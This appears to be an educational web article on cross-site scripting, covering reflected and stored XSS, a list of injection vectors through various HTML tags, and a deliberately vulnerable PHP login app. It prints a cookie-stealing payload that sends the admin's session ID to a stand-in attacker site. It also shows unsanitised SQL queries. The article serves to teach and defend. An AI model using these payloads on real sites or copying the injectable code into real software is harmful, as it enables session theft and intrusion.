XSS Attacks

What Is XSS Attacks?

Cross-site Scripting (also known as XSS or CSS) is generally believed to be one of the most common application layer hacking techniques.

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user

 Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

The Theory of XSS

In a typical XSS attack the hacker infects a legitimate web page with his malicious client-side script. When a user visits this web page the script is downloaded to his browser and executed. There are many slight variations to this theme, however all XSS attacks follow this pattern, which is depicted in the diagram below.

As a web developer you are putting measures in place to secure the first step of the attack. You want to prevent the hacker from infecting your innocent web page with his malicious script. There are various ways to do that, and this article goes into some technical detail on the most important techniques that you must use to disable this sort of attack against your users.

XSS Attack Vectors

So how does a hacker infect your web page in the first place? You might think, that for an attacker to make changes to your web page he must first break the security of the web server and be able to upload and modify files on that server. Unfortunately for you an XSS attack is much easier than that.

Internet applications today are not static HTML pages. They are dynamic and filled with ever changing content. Modern web pages pull data from many different sources. This data is amalgamated with your own web page and can contain simple text, or images, and can also contain HTML tags such as <p> for paragraph, <img> for image and <script> for scripts. Many times the hacker will use the ‘comments’ feature of your web page to insert a comment that contains a script. Every user who views that comment will download the script which will execute on his browser, causing undesirable behaviour. Something as simple as a Facebook post on your wall can contain a malicious script, which if not filtered by the Facebook servers will be injected into your Wall and execute on the browser of every person who visits your Facebook profile.

By now you should be aware that any sort of data that can land on your web page from an external source has the potential of being infected with a malicious script, but in what form does the data come?

Types of Cross Site Scripting

XSS attacks are broadly classified into 2 types:

1. Non-Persistent
2. Persistent

Non-Persistent XSS Attack

The non-persistent (or reflected) cross-site scripting vulnerability is by far the most common type. These holes show up when the data provided by a web client, most commonly in HTTP query parameters or in HTML form submissions, is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the request.

Because HTML documents have a flat, serial structure that mixes control statements, formatting, and the actual content, any non-validated user-supplied data included in the resulting page without proper HTML encoding, may lead to markup injection.^[12][13] A classic example of a potential vector is a site search engine: if one searches for a string, the search string will typically be redisplayed verbatim on the result page to indicate what was searched for. If this response does not properly escape or reject HTML control characters, a cross-site scripting flaw will ensue.

A reflected attack is typically delivered via email or a neutral web site. The bait is an innocent-looking URL, pointing to a trusted site but containing the XSS vector. If the trusted site is vulnerable to the vector, clicking the link can cause the victim's browser to execute the injected script.

Persistent XSS Attack

The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.

For example, suppose there is a dating website where members scan the profiles of other members to see if they look interesting. For privacy reasons, this site hides everybody's real name and email. These are kept secret on the server. The only time a member's real name and email are in the browser is when the member is signed in, and they can't see anyone else's.

Suppose that Mallory, an attacker, joins the site and wants to figure out the real names of the people she sees on the site. To do so, she writes a script designed to run from other people's browsers when they visit her profile. The script then sends a quick message to her own server, which collects this information.

To do this, for the question "Describe your Ideal First Date", Mallory gives a short answer (to appear normal) but the text at the end of her answer is her script to steal names and emails. If the script is enclosed inside a <script> element, it won't be shown on the screen. Then suppose that Bob, a member of the dating site, reaches Mallory’s profile, which has her answer to the First Date question. Her script is run automatically by the browser and steals a copy of Bob’s real name and email directly from his own machine.

Persistent XSS can be more significant than other types because an attacker's malicious script is rendered automatically, without the need to individually target victims or lure them to a third-party website. Particularly in the case of social networking sites, the code would be further designed to self-propagate across accounts, creating a type of a client-side worm.

Session

HTTP protocol is a stateless protocol, which means, it won’t maintain any state with regard to the request and response. All request and response are independent of each other. But most of the web application don’t need this. Once the user has authenticated himself, the web server should not ask the username/password for the next request from the user. To do this, they need to maintain some kind of states between the web-browser and web-server which is done through the “Sessions”.

When the user login for the first time, a session ID will be created by the web server and it will be sent to the web-browser as “cookie”. All the sub-sequent request to the web server, will be based on the “session id” in the cookie.

<script>

The <script> tag is the most popular way and sometimes easiest to detect. It can arrive to your page in the following forms.

External script

<script src=http://hacker-site.com/xss.js></script>

Embedded script

<script> alert(“XSS”); </script>

<body>

The <body> tag can contain an embedded script by using the onload event, as shown below:

<body onload=alert("XSS")>

The

background

attribute can be similarly exploited.

<body background="javascript:alert('XSS')">

<img>

Some browsers will execute a script when found in the <IMG> tag as shown below.

<img src="javascript:alert('XSS');">

There are some variations of this that work in some browsers.

<img dynsrc="javascript:alert('XSS')">

<img lowsrc="javascript:alert('XSS')">

<iframe>

The <iframe> tag allows you to import HTML into a page. This important HTML can contain a script.

<iframe src=”http://hacker-site.com/xss.html”>

<input>

If the type attribute of the <input> tag is set to image, it can be manipulated to embed a script.

<input type="image" src="javascript:alert('XSS');">

<link>

The <link> tag, which is often used to link to external style sheets could contain a script.

<link rel="stylesheet" href="javascript:alert('XSS');">

<table>

The background attribute of the table tag can be exploited to refer to a script instead of an image.

<table background="javascript:alert('XSS')">

The same applies to the <td> tag, used to separate cells inside a table.

<td background="javascript:alert('XSS')">

<div>

The <div> tag, similar to the <table> and <td> tags can also specify a background and therefore embed a script.

<div style="background-image: url(javascript:alert('XSS'))">

The <div> style attribute can also be manipulated in the following way:

<div style="width: expression(alert('XSS'));">

<object>

The <object> tag can be used to pull in a script from an external site in the following way:

<object type="text/x-scriptlet" data="http://hacker.com/xss.html">

<embed>

If the hacker places a malicious script inside a flash file, it can be injected in the following way:

<embed src="http://hacker.com/xss.swf" AllowScriptAccess="always">

Is your site vulnerable to Cross-site Scripting?

Our experience leads us to conclude that the cross-site scripting vulnerability is one of the most highly widespread flaw on the Internet and will occur anywhere a web application uses input from a user in the output it generates without validating it. Our own research shows that over a third of the organizations applying for our free audit service are vulnerable to Cross-site Scripting. And the trend is upward.

Examples for Persistent XSS Attack

This sample web application we’ve given below that demonstrates the persistent XSS attack does the following:

• There are two types of users: “Admin” and “Normal” user.
• When “Admin” log-in, he can see the list of usernames. When “Normal” users log-in, they can only update their display name.

login.php:

<?php
$Host= '192.168.1.8';
$Dbname= 'app';
$User= 'yyy';
$Password= 'xxx';
$Schema = 'test';

$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";

/* Connect with database asking for a new connection*/
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);

/* Error checking the connection string */
if (!$Connect) {
 echo "Database Connection Failure";
 exit;
}

$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";

$result=pg_query($Connect,$query);
$row=pg_fetch_array($result,NULL,PGSQL_ASSOC);

$user_pass = md5($_POST['pass_word']);
$user_name = $row['user_name'];

if(strcmp($user_pass,$row['password'])!=0) {
 echo "Login failed";
}
else {
 # Start the session
 session_start();
 $_SESSION['USER_NAME'] = $user_name;
 echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
}
?>

home.php:

<?php
session_start();
if(!$_SESSION['USER_NAME']) {
 echo "Need to login";
}
else {
 $Host= '192.168.1.8';
 $Dbname= 'app';
 $User= 'yyy';
 $Password= 'xxx';
 $Schema = 'test';
 $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
 $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
 if($_SERVER['REQUEST_METHOD'] == "POST") {
  $query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";
  pg_query($Connect,$query);
  echo "Update Success";
 }
 else {
  if(strcmp($_SESSION['USER_NAME'],'admin')==0) {
   echo "Welcome admin<br><hr>";
   echo "List of user's are<br>";
   $query = "select display_name from $Schema.members where user_name!='admin'";
   $res = pg_query($Connect,$query);
   while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {
    echo "$row[display_name]<br>";
   }
 }
 else {
  echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
  echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
  echo "<input type=\"submit\" value=\"Update\">";
 }
}
}
?>

Now the attacker log-in as a normal user, and he will enter the following in the textbox as his display name:

<a href=# onclick=\"document.location=\'http://not-real-xssattackexamples.com/xss.php?c=\'+escape\(document.cookie\)\;\">My Name</a>

The above information entered by the attacker will be stored in the database (persistent).

Now, when the admin log-in to the system, he will see a link named “My Name” along with other usernames. When admin clicks the link, it will send the cookie which has the session ID, to the attacker’s site. Now the attacker can post a request by using that session ID to the web server, and he can act like “Admin” until the session is expired. The cookie information will be something like the following:

xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3

Once the hacker knows the PHPSESSID, he can use this session to get the admin privilege until PHPSESSID expires.

To understand this more, we can use a firefox addon called “Tamper Data”, which can be used to add a new HTTP header called “Cookies” and set the value to “PHPSESSID=vmcsjsgear6gsogpu7o2imr9f3″.

We’ll cover how to use “Tamper Data” in future article of this series.

How to Check for Cross-site Scripting Vulnerabilities

To check for Cross-site Scripting vulnerabilities, use a Web Vulnerability Scanner. A Web Vulnerability Scanner crawls your entire website and automatically checks for Cross-site Scripting vulnerabilities. It will indicate which URLs/scripts are vulnerable to these attacks so that you can fix the vulnerability easily. Besides Cross-site Scripting vulnerabilities a web application scanner will also check for SQL Injection & other web vulnerabilities.

Thank You